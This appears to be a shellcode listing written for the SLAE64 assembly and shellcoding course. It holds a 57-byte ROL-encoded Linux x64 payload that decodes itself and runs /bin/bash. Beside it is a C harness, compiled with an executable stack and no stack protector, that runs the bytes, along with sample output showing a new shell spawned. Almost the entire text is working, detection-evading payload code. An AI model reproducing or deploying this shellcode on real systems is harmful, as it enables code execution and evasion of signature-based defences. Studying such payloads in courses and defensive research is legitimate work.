57 bytes small Linux/x64_86 /bin/bash shellcode. The stub decodes the ROL Encoded shellcode. When the stub has finished decoding the payload, execution control is passed to the payload.
8dfa373d1ce188f0f22dd71251acb232// Shellcode Title: Linux/x64 - ROL Encoded Execve Shellcode (57 bytes)
// Shellcode Author: Bobby Cooke
// Date: 2020-04-24
// Tested On: Kali Linux 5.3.0-kali3-amd64 x86_64
// Description: Encoded Execve /bin/bash shellcode for Linux x64_86 systems.The stub decodes the ROL Encoded shellcode. When the stub finished decoding the payload, execution control is passed to the payload.
// SLAE/Student ID: PA-10913
// Course: This shellcode was created for the x86_64 Assembly Language and Shellcoding on Linux (SLAE64) Course offered at pentesteracademy.com.
// Shoutout: skape, vivek, offsec, corelan
// Usage:
// root# gcc -m64 -z execstack -fno-stack-protector shellcode.c -o shellcode
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 3067 pts/3 Ss 0:00 /bin/bash
// root# ./shellcode
// Shellcode Length: 57
// root# echo $$ | xargs ps
// PID TTY STAT TIME COMMAND
// 3501 pts/3 S 0:00 [bash]
#include<stdio.h>
#include<string.h>
unsigned char shellcode[] = \
"\xeb\x0d" // jmp short call_decoder
// decoder:
"\x5e" // pop rsi = &String
// decode:
"\xd0\x0e" // ror byte [rsi], 1
"\x80\x3e\x55" // cmp byte [rsi], 0x55 - last byte? ror 0xaa, 1 = 0x55
"\x74\x0a" // je Shellcode - End? Jump to shellcode!
"\x48\xff\xc6" // inc rsi - Not end? move 2 next byte
"\xeb\xf4" // jmp short decode - loop 2 decode next byte
// call_decoder:
"\xe8\xee\xff\xff\xff" // call decoder // go 2 decode loop
// Execve(/bin/bash) ROL Encoded Shellcode
"\x90\x62\xed\x90\xef\xcd\x90\x62\xff\xae\x90\x07\x85"
"\xd0\xa4\x90\x75\x5e\xc4\xd2\xdc\x5e\xc4\xc2\xe6\xa4"
"\x90\x62\xa5\x90\x13\xcf\x61\x76\x1e\x0a\xaa";
int main()
{
printf("Shellcode Length: %d\n", strlen(shellcode));
int (*ret)() = (int(*)())shellcode;
ret();
}